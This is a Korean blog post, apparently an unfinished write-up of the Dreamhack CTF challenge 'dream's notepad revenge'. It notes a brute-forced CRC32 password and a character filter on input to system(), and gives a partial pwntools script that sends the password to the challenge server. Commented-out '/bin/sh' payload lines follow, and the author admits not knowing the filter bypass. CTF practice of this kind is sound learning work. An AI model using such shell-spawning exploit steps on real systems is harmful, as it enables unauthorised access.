본문 바로가기

CTF/Pwnable

[Dreamhack] dream's notepad revenge

코드분석

 

  •  password는 YISF가 포함되어 있고 crc32값이 997872474이다
  • system함수의 인자로 s 8글자가 들어가는데 문자열은 needle에 의해 필터링 된다 

익스플로잇

password를 알아낸 후 needle을 우회하여 쉘을 따자 

 

password는 crc32역연산을 통해 알아내려했지만 이전 crc 하위 1바이트를 어떻게 구하는지 모르겠어서 결국 브루트포싱으로 알아냄 

needle은 다음 문자들을 필터링 함

근데 너무 많이 필터링해서 어떻게 우회하는지 모르겟음 ... 

 

지금까지 익스플로잇 코드 

from pwn import *
p = remote('host3.dreamhack.games', 19326)

p.recvuntil(b'Input your password')
p.send(b'YISF\xa7\x89C\x8f')


#p.recvuntil(b'How can I help you?')

#payload=b' '*596 + b'        /bin/sh'
#payload=' '*38+ '/bin/sh'


p.interactive()

'CTF > Pwnable' 카테고리의 다른 글

[Dreamhack] off_by_one_000 Write-up  (0) 2024.04.07
[DreamHack] cpp_string Write-up  (0) 2024.04.07
[DreamHack] environ Write-up  (0) 2024.04.07
[DreamHack] checkflag Write-up  (0) 2024.03.31
[Dreamhack] blindsc Write-up  (0) 2024.03.31